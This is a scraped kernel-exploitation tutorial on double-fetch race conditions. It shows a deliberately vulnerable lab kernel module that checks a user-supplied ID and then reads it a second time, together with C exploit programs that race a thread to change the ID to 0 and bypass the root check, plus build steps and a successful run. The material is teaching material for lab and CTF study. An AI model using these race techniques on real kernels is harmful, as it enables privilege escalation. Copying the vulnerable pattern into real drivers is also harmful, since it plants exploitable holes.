arrow-left

All pages
gitbookPowered by GitBook
1 of 2

Loading...

Loading...

Double-Fetch without Sleep

Removing the artificial sleep

hashtag
Overview

In reality, there won't be a 1-second sleep for your race condition to occur. This means we instead have to hope that it occurs in the assembly instructions between the two dereferences!

This will not work every time - in fact, it's quite likely to not work! - so we will instead have two loops; one that keeps writing 0 to the ID, and another that writes another value - e.g. 900 - and then calling write. The aim is for the thread that switches to 0 to sync up so perfectly that the switch occurs inbetween the ID check and the ID "assignment".

hashtag
Analysis

If we check the source, we can see that there is no msleep any longer:

hashtag
Exploitation

Our exploit is going to look slightly different! We'll create the Credentials struct again and set the ID to 900:

Then we are going to write this struct to the module repeatedly. We will loop it 1,000,000 times (effectively infinite) to make sure it terminates:

If the ID returned is 0, we won the race! It is really important to keep in mind exactly what the "success" condition is, and how you can check for it.

Now, in the second thread, we will constantly cycle between ID 900 and 0. We do this in the hope that it will be 900 on the first dereference, and 0 on the second! I make this loop infinite because it is a thread, and the thread will be killed when the program is (provided you remove pthread_join()! Otherwise your main thread will wait forever for the second to stop!).

Compile the exploit and run it, we get the desired result:

Look how quick that was! Insane - two fails, then a success!

hashtag
Race Analysis

You might be wondering how tight the race window can be for exploitation - well, had a race of two assembly instructions:

The dereferences [rbx] have just one assembly instruction between, yet we are capable of racing. THAT is just how tight!

Double-Fetch

The most simple of vulnerabilities

A double-fetch vulnerability is when data is accessed from userspace multiple times. Because userspace programs will commonly pass parameters in to the kernel as pointers, the data can be modified at any time. If it is modified at the exact right time, an attacker could compromise the execution of the kernel.

hashtag
A Vulnerable Kernel Module

Let's start with a convoluted example, where all we want to do is change the id that the module stores. We are not allowed to set it to 0

file-archive
0B
double_fetch_no_sleep.zip
archive
arrow-up-right-from-squareOpen
gnote from TokyoWesterns CTF 2019arrow-up-right
if (creds->id == 0) {
    printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
    return -1;
}

printk("[Double-Fetch] Attempting login...");

if (!strcmp(creds->password, PASSWORD)) {
    id = creds->id;
    printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
    return id;
}
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
// don't want to make the loop infinite, just in case
for (int i = 0; i < 1000000; i++) {
    // now we write the cred struct to the module
    res_id = write(fd, &creds, 0);

    // if res_id is 0, stop the race
    if (!res_id) {
        puts("[+] ID is 0!");
        break;
    }
}
void *switcher(void *arg) {
    volatile Credentials *creds = (volatile Credentials *)arg;

    while (1) {
        creds->id = 0;
        creds->id = 900;
    }
}
~ $ ./exploit 
FD: 3
[    2.140099] [Double-Fetch] Attempted to log in as root!
[    2.140099] [Double-Fetch] Attempted to log in as root!
[+] ID is 0!
[-] Finished race
; note that rbx is the buf argument, user-controlled
cmp dword ptr [rbx], 5
ja default_case
mov eax, [rbx]
mov rax, jump_table[rax*8]
jmp rax
, as that is the ID of
root
, but all other values are allowed.

The code below will be the contents of the read() function of a kernel. I've removed the boilerplate code mentioned previously, but here are the relevant parts:

The program will:

  • Check if the ID we are attempting to switch to is 0

    • If it is, it doesn't allow us, as we attempted to log in as root

  • Sleep for 1 second (this is just to illustrate the example better, we will remove it later)

  • Compare the password to p4ssw0rd

    • If it is, it will set the id variable to the id in the creds structure

hashtag
Simple Communication

Let's say we want to communicate with the module, and we set up a simple C program to do so:

We compile this statically (as there are no shared libraries on our VM):

As expected, the id variable gets set to 900 - we can check this in dmesg:

That all works fine.

hashtag
Exploiting a Double-Fetch and Switching to ID 0

The flaw here is that creds->id is dereferenced twice. What does this mean? The kernel module is passed a reference to a Credentials struct:

This is a pointer, and that is perhaps the most important thing to remember. When we interact with the module, we give it a specific memory address. This memory address holds the Credentials struct that we define and pass to the module. The kernel does not have a copy - it relies on the user's copy, and goes to userspace memory to use it.

Because this struct is controlled by the user, they have the power to change it whenever they like.

The kernel module uses the id field of the struct on two separate occasions. Firstly, to check that the ID we wish to swap to is valid (not 0):

And once more, to set the id variable:

Again, this might seem fine - but it's not. What is stopping it from changing inbetween these two uses? The answer is simple: nothing. That is what differentiates userspace exploitation from kernel space.

hashtag
A Proof-of-Concept: Switching to ID 0

Inbetween the two dereferences creds->id, there is a timeframe. Here, we have artificially extended it (by sleeping for one second). We have a race codition - the aim is to switch id in that timeframe. If we do this successfully, we will pass the initial check (as the ID will start off as 900), but by the time it is copied to id, it will have become 0 and we have bypassed the security check.

Here's the plan, visually, if it helps:

In the waiting period, we swap out the id.

circle-info

If you are trying to compile your own kernel, you need CONFIG_SMP enabled, because we need to modify it in a different thread! Additionally, you need QEMU to have the flag -smp 2 (or more) to enable 2 cores, though it may default to having multiple even without the flag. This example may work without SMP, but that's because of the sleep - when we most onto part 2, with no sleep, we require multiple cores.

The C program will hang on write until the kernel module returns, so we can't use the main thread.

With that in mind, the "exploit" is fairly self-explanatory - we start another thread, wait 0.3 seconds, and change id!

We have to compile it statically, as the VM has no shared libraries.

Now we have to somehow get it into the file system. In order to do that, we need to first extract the .cpio archive (you may want to do this in another folder):

Now copy exploit there and make sure it's marked executable. You can then compress the filesystem again:

Use the newly-created initramfs.cpio to lauch the VM with run.sh. Executing exploit, it is successful!

circle-info

Note that the VM loaded you in as root by default. This is for debugging purposes, as it allows you to use utilities such as dmesg to read the kernel module output and check for errors, as well as a host of other things we will talk about. When testing exploits, it's always helpful to fix the init script to load you in as root! Just don't forget to test it as another user in the end.

file-archive
0B
double_fetch_sleep.zip
archive
arrow-up-right-from-squareOpen
#define PASSWORD    "p4ssw0rd"

typedef struct {
    int id;
    char password[10];
} Credentials;

static int id = 1001;

static ssize_t df_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    Credentials *creds = (Credentials *)buf;

    printk(KERN_INFO "[Double-Fetch] Reading password from user...");

    if (creds->id == 0) {
        printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
        return -1;
    }

    // to increase reliability
    msleep(1000);

    if (!strcmp(creds->password, PASSWORD)) {
        id = creds->id;
        printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
        return id;
    }

    printk(KERN_ALERT "[Double-Fetch] Password incorrect!");
    return -1;
}
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    int id;
    char password[10];
} Credentials;

int main() {
    int fd = open("/dev/double_fetch", O_RDWR);
    printf("FD: %d\n", fd);

    Credentials creds;
    creds.id = 900;
    strcpy(creds.password, "p4ssw0rd");

    int res_id = write(fd, &creds, 0);    // last parameter here makes no difference
    printf("New ID: %d\n", res_id);

    return 0;
}
gcc -static -o exploit exploit.c
$ dmesg
[...]
[    3.104165] [Double-Fetch] Password correct! ID set to 900
Credentials *creds = (Credentials *)buf;
if (creds->id == 0) {
    printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
    return -1;
}
if (!strcmp(creds->password, PASSWORD)) {
    id = creds->id;
    printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
    return id;
}
// gcc -static -o exploit -pthread exploit.c

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void *switcher(void *arg);

typedef struct {
    int id;
    char password[10];
} Credentials;

int main() {
    // communicate with the module
    int fd = open("/dev/double_fetch", O_RDWR);
    printf("FD: %d\n", fd);

    // use a random ID and set the password correctly
    Credentials creds;
    creds.id = 900;
    strcpy(creds.password, "p4ssw0rd");

    // set up the switcher thread
    // pass it a pointer to `creds`, so it can modify it
    pthread_t thread;

    if (pthread_create(&thread, NULL, switcher, &creds)) {
        fprintf(stderr, "Error creating thread\n");
        return -1;
    }

    // now we write the cred struct to the module
    // it should be swapped after about .3 seconds by switcher
    int res_id = write(fd, &creds, 0);

    // write returns the id we switched to
    // if all goes well, that is 0
    printf("New ID: %d\n", res_id);

    // finish thread cleanly
    if (pthread_join(thread, NULL)) {
        fprintf(stderr, "Error joining thread\n");
        return -1;
    }

    return 0;
}

void *switcher(void *arg) {
    Credentials *creds = (Credentials *)arg;

    // wait until the module is sleeping - don't want to change it BEFORE the initial ID check!
    sleep(0.3);

    creds->id = 0;
}
$ gcc -static -o exploit -pthread exploit.c
$ cpio -i -F initramfs.cpio
$ find . -not -name *.cpio | cpio -o -H newc > initramfs.cpio
~ # ./exploit 
FD: 3
New ID: 0